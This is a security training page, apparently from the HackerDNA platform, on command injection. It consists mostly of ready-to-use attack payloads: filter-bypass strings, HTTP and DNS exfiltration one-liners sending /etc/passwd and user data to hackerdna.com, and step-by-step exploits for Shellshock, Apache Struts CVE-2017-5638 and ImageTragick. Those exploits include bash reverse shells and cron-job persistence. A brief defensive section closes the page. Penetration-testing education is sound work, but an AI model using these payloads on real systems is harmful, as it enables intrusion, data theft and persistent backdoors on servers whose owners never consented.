Command Injection
Transform System Integration Points Into Remote Code Execution
What You'll Discover
🎯 Why This Matters
Command injection represents one of the highest-impact vulnerabilities in modern web applications, providing direct operating system access and complete server compromise. This vulnerability is particularly prevalent in DevOps tools, CI/CD pipelines, administrative interfaces, and file processing systems where applications integrate with underlying system commands. When you understand command injection exploitation, you're learning techniques that can lead to immediate remote code execution and full infrastructure compromise.
🔍 What You'll Learn
You'll master the systematic approach to identifying and exploiting command injection vulnerabilities through direct command chaining, filter bypass techniques, and blind exploitation methods. This includes understanding OS-specific payloads, out-of-band data exfiltration, and advanced bypass techniques that security experts use to demonstrate complete system compromise in real-world assessments.
🚀 Your First Win
In the next 15 minutes, you'll successfully exploit a command injection vulnerability to gain shell access on a target system, demonstrating how seemingly safe system integrations can lead to complete server compromise and administrative control.
🔧 Try This Right Now
Test basic command injection against a file processing endpoint
# Basic command chaining with semicolon
POST /convert HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded
filename=test.pdf; whoami
# Command substitution bypass
filename=test.pdf$(whoami)
filename=test.pdf`whoami`
# Logical operators for chaining
filename=test.pdf && whoami
filename=test.pdf || whoami
# Pipe command output
filename=test.pdf | whoami
# Blind command injection with time delay
filename=test.pdf; sleep 10
filename=test.pdf$(sleep 10)
# Out-of-band data exfiltration
filename=test.pdf; curl http://<attacker>/$(whoami)
filename=test.pdf; wget http://<attacker>/collect?data=$(id | base64)
You'll see: How different command injection techniques bypass input validation and execute arbitrary commands on the server. This demonstrates why proper input sanitization and safe system integration are critical for application security.
Skills You'll Master
✅ Core Understanding
- Command chaining and injection fundamentals
- OS-specific payload crafting for Linux and Windows
- Filter bypass techniques and encoding methods
- Direct and blind command injection exploitation
🔍 Expert Skills
- Out-of-band data exfiltration methods
- Time-based blind injection techniques
- Container and cloud environment exploitation
- Secure system integration implementation
Understanding Command Injection Vulnerabilities
Command injection occurs when applications pass unsanitized user input to system shell commands
Command injection vulnerabilities arise when web applications need to interact with the underlying operating system through shell commands. When you understand how these integrations work, you'll see why this vulnerability class is so powerful and why it consistently leads to complete system compromise.
How System Integration Creates Attack Opportunities
Web applications frequently need to perform system-level operations like file processing, network utilities, database operations, or administrative tasks. Developers often implement these features by constructing shell commands that include user-provided data. A typical vulnerable implementation might look like system("convert " + userFile + " output.pdf")
where the application converts files using system commands.
The critical security flaw emerges when user input is concatenated directly into these commands. If an attacker can control any part of the command string, they can inject additional commands using shell metacharacters like semicolons, pipes, or command substitution. The shell interprets these as separate commands, executing the attacker's payload alongside the intended functionality.
What makes command injection particularly dangerous is that commands execute with the same privileges as the web application. In many cases, this means the web server user account, which often has significant system access. In containerized environments or poorly configured systems, this can even mean root-level access to the entire infrastructure.
Why Command Injection Is Critical in Modern Infrastructure
Modern applications increasingly rely on system integrations for file processing, network operations, monitoring, and automation. DevOps tools, CI/CD pipelines, administrative dashboards, and cloud-native applications all commonly execute system commands based on user input. Each of these represents a potential command injection attack surface.
Container environments and cloud platforms often amplify the impact of command injection. While containers provide some isolation, successful command injection can still lead to container escape, access to orchestration APIs, or lateral movement within the infrastructure. Cloud metadata services, container runtime APIs, and cluster management interfaces all become accessible to attackers who achieve command execution.
The shift toward infrastructure-as-code and automated deployment pipelines has created new attack vectors where command injection in deployment tools can compromise entire production environments. This is why understanding command injection is essential for securing modern application architectures.
Common Vulnerable Patterns
Where command injection typically appears
File processing utilities
Network diagnostic tools
System monitoring interfaces
CI/CD pipeline endpoints
Administrative dashboards
Reporting and export functions
Injection Techniques
Methods used to execute commands
Command chaining (; && ||)
Command substitution ($(cmd) `cmd`)
Pipe operations (| command)
Redirection operators (> >> <)
Background execution (&)
Environment variable injection
Impact Potential
What attackers can achieve
Remote code execution
System file access
Network reconnaissance
Container escape
Privilege escalation
Persistent backdoor installation
Tools and Techniques
Successful command injection exploitation requires understanding both manual testing techniques and specialized tools that can systematically identify and exploit these vulnerabilities. You'll learn the methodical approach that security experts use to assess system integration points and demonstrate their full impact.
The Command Injection Testing Methodology
Security experts follow a systematic approach to command injection testing that progresses from parameter identification through exploitation to impact demonstration. This methodology ensures comprehensive coverage and reveals the full scope of potential compromise through command injection vulnerabilities.
Step 1: Parameter Discovery - Identify input fields, URL parameters, and request headers that might be passed to system commands. Look for file processing, network utilities, system administration, or diagnostic functionality.
Step 2: Command Context Detection - Test with simple payloads to understand how user input is incorporated into system commands and identify the underlying operating system.
Step 3: Exploitation Development - Craft targeted payloads that bypass input validation and achieve command execution, adapting techniques based on filtering mechanisms.
Step 4: Impact Assessment - Demonstrate the full scope of system access possible through the vulnerability, including file system access, network capabilities, and potential for persistence.
Manual Command Injection Testing
Manual testing provides the foundation for understanding command injection behavior and enables precise exploitation that automated tools might miss. Understanding these manual techniques is essential for thorough security assessments and adapting to application-specific contexts.
Basic Command Injection Detection
Start with simple command chaining techniques to determine if user input reaches system commands. Different shell metacharacters serve different purposes and can help identify the execution context and available injection vectors.
# Command chaining with semicolon (Unix/Linux/Windows)
test.txt; whoami
test.txt; id
test.txt; hostname
# Logical AND - executes if first command succeeds
test.txt && whoami
test.txt && net user
# Logical OR - executes if first command fails
test.txt || whoami
test.txt || dir
# Command substitution (Unix/Linux)
test.txt$(whoami)
test.txt`whoami`
$(whoami).txt
`id`.txt
# Pipe operations
test.txt | whoami
test.txt | ipconfig
# Background execution
test.txt & whoami
test.txt & ping hackerdna.com
# Redirection for file operations
test.txt; whoami > /tmp/output.txt
test.txt; echo "test" >> /var/log/app.log
Test multiple injection vectors systematically. Different applications may filter specific characters while allowing others, so comprehensive testing reveals which techniques work in each context.
Filter Bypass Techniques
Applications often implement input validation to prevent command injection, but many filtering mechanisms can be bypassed using encoding, alternative syntax, or creative payload construction. Understanding bypass techniques is essential for thorough security testing.
Encoding and Obfuscation Methods
# URL encoding bypass
test.txt%3Bwhoami
test.txt%26%26whoami
# Double URL encoding
test.txt%253Bwhoami
# Unicode encoding
test.txt\u003Bwhoami
# Hex encoding
test.txt\x3Bwhoami
# Base64 encoding with command substitution
test.txt$(echo d2hvYW1p | base64 -d)
test.txt`echo d2hvYW1p | base64 -d`
# Variable substitution (Bash)
test.txt${IFS}whoami
test.txt$IFS$9whoami
# Character concatenation
test.txt;who""ami
test.txt;who''ami
test.txt;who\ami
# Alternative command separators
test.txt%0Awhoami # Newline
test.txt%0Dwhoami # Carriage return
test.txt%09whoami # Tab
# Environment variable injection
test.txt;HOME=/tmp;whoami
test.txt;PATH=/usr/bin:$PATH;id
Different applications may block specific characters or patterns. Systematic testing of encoding techniques often reveals bypasses that allow command execution despite input filtering.
Blind Command Injection Exploitation
When applications don't return command output directly, blind command injection techniques enable confirmation of vulnerability and data exfiltration through side-channel methods. These techniques are essential for testing production applications where direct output isn't visible.
Time-Based Detection
# Time delay injection (Unix/Linux)
test.txt; sleep 10
test.txt$(sleep 5)
test.txt`sleep 15`
test.txt && sleep 10
# Time delay injection (Windows)
test.txt; timeout 10
test.txt & ping -n 10 127.0.0.1
test.txt && powershell Start-Sleep 5
# Conditional time delays for data extraction
test.txt; if [ $(whoami | cut -c1) = "r" ]; then sleep 5; fi
test.txt; test $(id -u) -eq 0 && sleep 10
# DNS-based time delays
test.txt; nslookup $(whoami).hackerdna.com
test.txt; dig $(hostname).hackerdna.com
Out-of-Band Data Exfiltration
# HTTP-based exfiltration
test.txt; curl http://hackerdna.com/collect?data=$(whoami)
test.txt; wget -q -O- http://hackerdna.com/$(id | base64 | tr -d '\n')
test.txt; curl -X POST -d "$(cat /etc/passwd)" http://hackerdna.com/data
# DNS-based exfiltration
test.txt; nslookup $(whoami | tr -d '\n').hackerdna.com
test.txt; dig $(hostname).$(whoami).hackerdna.com
test.txt; host $(cat /etc/passwd | base64 | cut -c1-50).hackerdna.com
# File-based confirmation
test.txt; touch /tmp/hackerdna-$(whoami)
test.txt; echo "injection-success" > /var/log/hackerdna.log
# Network-based confirmation
test.txt; nc hackerdna.com 80 < /etc/passwd
test.txt; telnet hackerdna.com 443 < /etc/hosts
# Email exfiltration (if sendmail available)
test.txt; echo "$(whoami)@$(hostname)" | mail -s "Command Injection" attacker@hackerdna.com
Out-of-band techniques are crucial for demonstrating command injection in production environments where direct output isn't visible. These methods provide definitive proof of code execution and enable data extraction.
Commix: Automated Command Injection
Commix (Command Injection Exploiter) is a specialized tool for automating command injection discovery and exploitation. While manual testing provides deep understanding, Commix can systematically test multiple injection vectors and provide automated exploitation capabilities.
Commix Usage Examples
# Install Commix
git clone https://github.com/commixproject/commix.git
cd commix
python commix.py --help
# Basic URL parameter testing
python commix.py --url="http://<target>/process?filename=test.txt"
# POST data testing
python commix.py --url="http://<target>/convert" --data="file=test.pdf"
# Custom headers testing
python commix.py --url="http://<target>/api" --header="X-Filename: test.txt"
# Blind injection with time delays
python commix.py --url="http://<target>/ping?host=127.0.0.1" --technique=T
# File-based output testing
python commix.py --url="http://<target>/log?file=access.log" --technique=F
# Custom injection point
python commix.py --url="http://<target>/api" --data="filename=INJECT_HERE&action=process"
# Operating system detection
python commix.py --url="http://<target>/cmd?exec=whoami" --os=unix
# Batch mode with wordlist
python commix.py --url="http://<target>/process?cmd=FUZZ" --wordlist=/usr/share/wordlists/common.txt
Commix provides systematic automation for command injection testing but should complement, not replace, manual testing techniques that provide deeper understanding of application behavior.
Real-World Attack Scenarios
These documented command injection vulnerabilities demonstrate how system integration flaws have been exploited in real applications, showing the systematic approach that leads to significant security compromises and infrastructure breaches.
Shellshock Bash Vulnerability (CVE-2014-6271)
The Shellshock vulnerability affected the Bash shell's environment variable processing, allowing remote command execution through HTTP headers in web applications that passed environment variables to shell scripts. CVE-2014-6271 demonstrated how fundamental system components can create widespread command injection vulnerabilities affecting millions of systems worldwide.
# Shellshock exploitation via HTTP headers
# Vulnerable CGI scripts that process environment variables
# Many web applications were affected through CGI processing
# Step 1: Identify CGI endpoints vulnerable to Shellshock
# Common CGI paths: /cgi-bin/, /scripts/, /cgi-mod/
GET /cgi-bin/test.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; echo "Content-Type: text/plain"; echo; echo "Shellshock Test"; /bin/uname -a
# Step 2: Command execution via User-Agent header
GET /cgi-bin/status.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; /bin/bash -c "whoami"
Referer: () { :;}; /bin/bash -c "id"
# Step 3: Advanced payload for reverse shell
GET /cgi-bin/formmail.cgi HTTP/1.1
Host: <target>
User-Agent: () { :;}; /bin/bash -c "bash -i >& /dev/tcp/hackerdna.com/4444 0>&1"
# Step 4: Data exfiltration via environment variable injection
GET /cgi-bin/search.cgi HTTP/1.1
Host: <target>
Cookie: () { :;}; /bin/bash -c "curl -X POST -d \"$(cat /etc/passwd)\" http://hackerdna.com/collect"
# Step 5: Persistent access through cron job installation
GET /cgi-bin/admin.cgi HTTP/1.1
Host: <target>
X-Forwarded-For: () { :;}; /bin/bash -c "echo '* * * * * /bin/bash -c \"bash -i >& /dev/tcp/hackerdna.com/443 0>&1\"' | crontab -"
# Step 6: Network reconnaissance and lateral movement
GET /cgi-bin/ping.cgi HTTP/1.1
Host: <target>
Accept: () { :;}; /bin/bash -c "nmap -sT 192.168.1.0/24 > /tmp/scan.txt; curl -X POST -d \"$(cat /tmp/scan.txt)\" http://hackerdna.com/recon"
Global Impact: Shellshock affected millions of systems including web servers, routers, IoT devices, and cloud instances. The vulnerability allowed immediate remote code execution through simple HTTP requests, leading to massive botnet infections and widespread system compromises. Patches were rapidly deployed, but many systems remained vulnerable for extended periods.
Apache Struts Command Injection (CVE-2017-5638)
Apache Struts contained a command injection vulnerability in its file upload functionality that allowed remote code execution through malicious Content-Type headers. CVE-2017-5638 was exploited in the Equifax breach and demonstrates how framework vulnerabilities can lead to massive data breaches affecting millions of people.
# Apache Struts CVE-2017-5638 exploitation
# Vulnerability in Jakarta Multipart parser
# Affects Struts 2.3.5 - 2.3.31 and 2.5 - 2.5.10
# Step 1: Identify Struts application with file upload
# Look for .action, .do, or Struts-specific URL patterns
# File upload forms are primary attack vectors
# Step 2: Craft malicious Content-Type header
POST /upload.action HTTP/1.1
Host: <target>
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','Vulnerable')}.multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 1337
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="upload"; filename="test.txt"
Content-Type: text/plain
Test file content
------WebKitFormBoundary7MA4YWxkTrZu0gW--
# Step 3: Command execution payload
POST /upload.action HTTP/1.1
Host: <target>
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
# Step 4: Data exfiltration payload
POST /fileUpload.action HTTP/1.1
Host: <target>
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='curl -X POST -d "$(cat /etc/passwd)" http://hackerdna.com/collect').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())}
# Step 5: Reverse shell establishment
# Create reverse shell payload for persistent access
POST /doUpload.action HTTP/1.1
Host: <target>
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/hackerdna.com/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())}
# Listener setup for reverse shell
# nc -lvp 4444
Breach Impact: CVE-2017-5638 was the attack vector used in the Equifax breach, one of the largest data breaches in history affecting 147 million people. The vulnerability allowed immediate remote code execution through simple HTTP requests to any Struts application with file upload functionality. Despite patches being available, many organizations failed to update promptly, leading to widespread exploitation.
ImageMagick Command Injection (CVE-2016-3714)
ImageMagick, a widely-used image processing library, contained command injection vulnerabilities that allowed remote code execution through malicious image files. CVE-2016-3714 ("ImageTragick") demonstrates how file processing libraries can introduce command injection vulnerabilities into web applications that handle user-uploaded content.
# ImageMagick "ImageTragick" CVE-2016-3714 exploitation
# Affects ImageMagick versions before 6.9.3-9 and 7.0.1-0
# Vulnerability in delegate handling for image processing
# Step 1: Create malicious MVG file for command injection
# MVG (Magick Vector Graphics) format allows embedded commands
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/image.jpg"|whoami > /tmp/output.txt)'
pop graphic-context
EOF
# Step 2: Upload malicious image via web interface
# Target file upload forms that process images with ImageMagick
POST /upload HTTP/1.1
Host: <target>
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 500
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="image"; filename="exploit.jpg"
Content-Type: image/jpeg
push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/test.jpg"|curl http://hackerdna.com/collect?data=$(whoami))'
pop graphic-context
------WebKitFormBoundary7MA4YWxkTrZu0gW--
# Step 3: Advanced payload for reverse shell
# Create more sophisticated payload for persistent access
cat > shell.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
image Over 0,0 0,0 'label:test'
fill 'url(https://hackerdna.com/pixel.png"|bash -c "bash -i >& /dev/tcp/hackerdna.com/443 0>&1")'
pop graphic-context
EOF
# Step 4: Data exfiltration via command injection
# Extract sensitive files through image processing
cat > exfil.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/bg.jpg"|curl -X POST -d "$(cat /etc/passwd | base64)" http://hackerdna.com/data)'
pop graphic-context
EOF
# Step 5: Filesystem enumeration
# Use command injection to explore server filesystem
cat > enum.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://hackerdna.com/test.png"|find /var/www -name "*.php" -type f | head -20 | curl -X POST -d @- http://hackerdna.com/files)'
pop graphic-context
EOF
# Step 6: Alternative delegates exploitation
# Use other delegate handlers for different file types
echo 'push graphic-context
image Over 0,0 0,0 "ephemeral:/tmp/test.txt"
fill "url(https://hackerdna.com/1.jpg|id > /tmp/hackerdna.txt)"
pop graphic-context' > delegate.mvg
Widespread Impact: ImageTragick affected countless web applications that used ImageMagick for image processing, including major platforms and content management systems. The vulnerability allowed remote code execution through simple image uploads, making it particularly dangerous for public-facing applications. Many applications required both ImageMagick updates and configuration changes to fully mitigate the issue.
Defensive Countermeasures
Protecting applications from command injection attacks requires implementing multiple layers of defense that prevent unsafe system interactions and limit the impact of successful exploitation. These proven strategies form the foundation of secure system integration in production environments.
Primary Defense: Avoid System Command Execution
The most effective protection against command injection is eliminating the need for system command execution entirely. Modern programming languages and frameworks provide safe alternatives for most common system integration tasks without requiring shell command construction.
- Use programming language libraries - Replace system commands with native language functions for file operations, network requests, and data processing
- Leverage framework capabilities - Utilize built-in framework features for common tasks like file uploads, image processing, and data validation
- API-based integrations - Replace command-line tools with direct API calls to services and libraries
- Containerized microservices - Isolate system operations in dedicated containers with limited capabilities
- Serverless functions - Use cloud functions for isolated processing tasks that require system-level operations
Secure Command Execution Practices
When system command execution is unavoidable, implement strict security controls that prevent user input from modifying command structure and limit the scope of potential exploitation.
- Input validation and whitelisting - Validate all user input against strict patterns and reject anything that doesn't match expected formats
- Parameterized command execution - Use programming language features that separate commands from arguments, preventing injection
- Command argument escaping - Properly escape all user input using language-specific functions designed for shell safety
- Predefined command templates - Use fixed command structures with placeholder substitution rather than dynamic command construction
- Restricted command sets - Limit available commands to a predefined whitelist of safe operations
System-Level Protection Strategies
Multiple system-level controls provide comprehensive protection against command injection attacks, ensuring that even successful exploitation has limited impact on overall system security.
- Principle of least privilege - Run web applications with minimal system permissions necessary for functionality
- Sandboxing and containerization - Isolate applications in containers or chroot environments with limited system access
- Network egress filtering - Block outbound network connections to prevent data exfiltration and reverse shell establishment
- System monitoring and alerting - Implement comprehensive logging and anomaly detection for unusual command execution patterns
- File system access controls - Restrict application access to only necessary directories and files using appropriate permissions
- Security-enhanced operating systems - Use SELinux, AppArmor, or similar mandatory access control systems to limit application capabilities
🎯 You've Got Command Injection Down!
You now understand how to exploit system integration points to achieve remote code execution through command injection attacks. You can craft payloads that bypass input validation, perform blind exploitation through time delays and out-of-band channels, and use advanced techniques to demonstrate complete system compromise in modern infrastructure environments.
Ready to Master Complete Web Application Security Testing